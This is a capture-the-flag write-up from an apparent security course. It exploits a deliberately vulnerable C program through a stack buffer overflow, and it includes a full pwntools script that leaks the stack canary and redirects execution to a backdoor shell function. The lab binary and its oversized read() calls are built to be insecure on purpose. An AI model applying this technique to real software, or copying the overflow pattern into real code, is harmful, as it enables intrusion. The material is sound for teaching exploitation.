# Simple Buffer Overflow - 0x05(Leak Canary)
###### tags: `CTF` `PWN` `eductf`
## Canary Background

## Original Code
```clike!
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void backdoor()
{
system("/bin/sh");
}
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
char name[0x10];
char phone[0x10];
printf("What's your name: ");
read(0, name, 0x100);
printf("Hello, %s !", name);
printf("What's your phone number: ");
read(0, phone, 0x100);
return 0;
}
```
* Note that, if you establish the code yourself, you must turn off the protection by the command below and use `checksec` to observe the protection
```bash!
gcc -o bof2_leak_canary bof2_leak_canary.c -zexecstack -no-pie -z norelro
```

## Exploit
* First, we can use `objdump -d -M Intel {filename}` to check the address of backdoor → `0x4011b6`

* However, we observe the backdoor function, it just call `system` instead of `execsv`. So, that you may encounter some error because of non-alignment. The solution is skip the `push %rbp` instruction and just jump to <font color="FF0000">`0x4011bb`</font>
* The detailed description can refer to [lecture video](https://youtu.be/ktoVQB99Gj4?t=3058)
* Then we can construct a part of the payload below:
```python!
from pwn import *
context.arch = 'amd64'
r = process('./bof2_leak_canary')
raw_input()
no_push_rbp_backdoor_addr = 0x4011bb
```
* Then we have to overlap `name` variable and `phone` variable with length `0x20`. In addition, the compiler will align 8 bytes, we should overlap it as well. Moreover, the last byte of `canary` is always `0x00`, then if we'd like to print out `canary` value, we should overlap it as well.(In pwntools, `recvuntil` function default consider `0x00` is a new line)
```python!
r.sendafter("What's your name: ", b'a' * 0x29) #0x20 → name + phone / 0x08 for compiler alinment / 0x01 for canary last byte
r.recvuntil('a'*0x29)
canary = u64(b'\x00' + r.recv(7))
print("canary: ", hex(canary))
```
* Final step, we do what we done before to overlap padding + `phone` variable`(0x18)` + original canary`(0x08)` + original `$rbp``(0x08)` + overlap `$rip` to backdoor.
```python!
r.sendafter("What's your phone number: ", b'a' * 0x18 + p64(canary) + p64(0xdeadbeef) + p64(no_push_rbp_backdoor_addr))
```
* The whole payload is shown as below:
```python!
from pwn import *
context.arch = 'amd64'
r = process('./bof2_leak_canary')
raw_input()
no_push_rbp_backdoor_addr = 0x4011bb
r.sendafter("What's your name: ", b'a' * 0x29) #0x20 → name + phone / 0x08 for compiler alinment / 0x01 for canary last byte
r.recvuntil('a'*0x29)
canary = u64(b'\x00' + r.recv(7))
print("canary: ", hex(canary))
r.sendafter("What's your phone number: ", b'a' * 0x18 + p64(canary) + p64(0xdeadbeef) + p64(no_push_rbp_backdoor_addr))
```
* Then we got shell

## Analysis
* About how to print canary:
Use `gdb` and execute to the first `print`, you can see that the stack structure.


And we can print canary value from payload program → <font color="FF0000">`0xdf38469d4e106500`</font>

* Note that we can get `tls` address and `+0x28` to compare with canary value

## Reference
[Lecture Vid. - Pwn week1](https://youtu.be/ktoVQB99Gj4)